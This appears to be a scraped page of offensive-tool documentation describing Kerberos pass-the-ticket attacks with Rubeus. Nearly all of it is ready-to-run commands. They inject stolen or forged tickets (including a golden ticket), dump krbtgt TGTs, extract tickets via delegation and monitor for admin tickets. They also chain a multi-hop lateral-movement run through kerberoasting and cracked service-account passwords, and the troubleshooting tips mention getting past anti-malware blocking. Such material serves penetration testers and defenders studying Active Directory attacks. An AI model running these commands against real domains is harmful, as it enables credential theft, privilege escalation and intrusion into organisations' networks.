Pass-the-ticket: inject Kerberos tickets into the current session
Pass-the-Ticket (PTT) is a fundamental technique for credential reuse in Kerberos environments, enabling the use of extracted or forged tickets without requiring password knowledge.
Pass-the-ticket (PTT) injects Kerberos tickets into logon sessions, enabling authentication to services using previously extracted or forged tickets. This technique bypasses traditional password-based authentication and is essential for lateral movement and privilege escalation.
# Inject ticket from .kirbi fileRubeus.exe ptt /ticket:C:\temp\admin.kirbi# Inject with relative pathRubeus.exe ptt /ticket:tickets\domain_admin.kirbi# Inject multiple ticketsRubeus.exe ptt /ticket:ticket1.kirbiRubeus.exe ptt /ticket:ticket2.kirbi
# Inject extracted TGTRubeus.exe ptt /ticket:extracted_tgt.kirbi# Inject forged golden ticketRubeus.exe ptt /ticket:golden_ticket.kirbi# Test TGT functionalityRubeus.exe asktgs /service:cifs/fileserver.corp.local /ptt
TGTs provide the most flexibility as they can be used to request any service ticket within their privilege scope.
# Basic injection into current sessionRubeus.exe ptt /ticket:user_ticket.kirbi# Verify injectionRubeus.exe klist# Test accessdir \\target.corp.local\share
# Extract from current systemRubeus.exe dump /service:krbtgt /outfile:extracted.kirbi# Extract via delegationRubeus.exe tgtdeleg /outfile:delegated.kirbi# Monitor for new ticketsRubeus.exe monitor /filteruser:admin
2
Ticket Injection
Inject acquired tickets into appropriate sessions:
Copy
Ask AI
# Inject into current sessionRubeus.exe ptt /ticket:acquired_ticket.kirbi# Inject into specific session (if elevated)Rubeus.exe ptt /ticket:admin_ticket.kirbi /luid:0x54321
3
Verification
Verify successful injection and test functionality:
Copy
Ask AI
# List current ticketsRubeus.exe klist# Describe injected ticketRubeus.exe describe /ticket:injected_ticket.kirbi# Test service accessdir \\target.corp.local\c$
# Extract TGT from System ARubeus.exe dump /service:krbtgt /outfile:admin_tgt.kirbi# Transfer to System B and injectRubeus.exe ptt /ticket:admin_tgt.kirbi# Access resources from System BRubeus.exe asktgs /service:cifs/fileserver.corp.localdir \\fileserver.corp.local\admin_share
Show Multi-Hop Operations
Copy
Ask AI
# Hop 1: Initial system with user credentialsRubeus.exe asktgt /user:user /password:pass /ptt# Extract for transferRubeus.exe dump /service:krbtgt /outfile:user_tgt.kirbi# Hop 2: Intermediate systemRubeus.exe ptt /ticket:user_tgt.kirbiRubeus.exe kerberoast /outfile:service_hashes.txt# Hop 3: Final target with cracked service accountRubeus.exe asktgt /user:svc_sql /password:cracked_pass /ptt
Problem: Cannot inject into specific LUIDSolutions:
Verify current user has administrative privileges
Check if target LUID exists and is accessible
Try injecting into current session instead
Verify anti-malware isn’t blocking injection
Copy
Ask AI
# Check current privilegeswhoami /priv# Enumerate available sessionsRubeus.exe logonsession# Try current session injectionRubeus.exe ptt /ticket:ticket.kirbi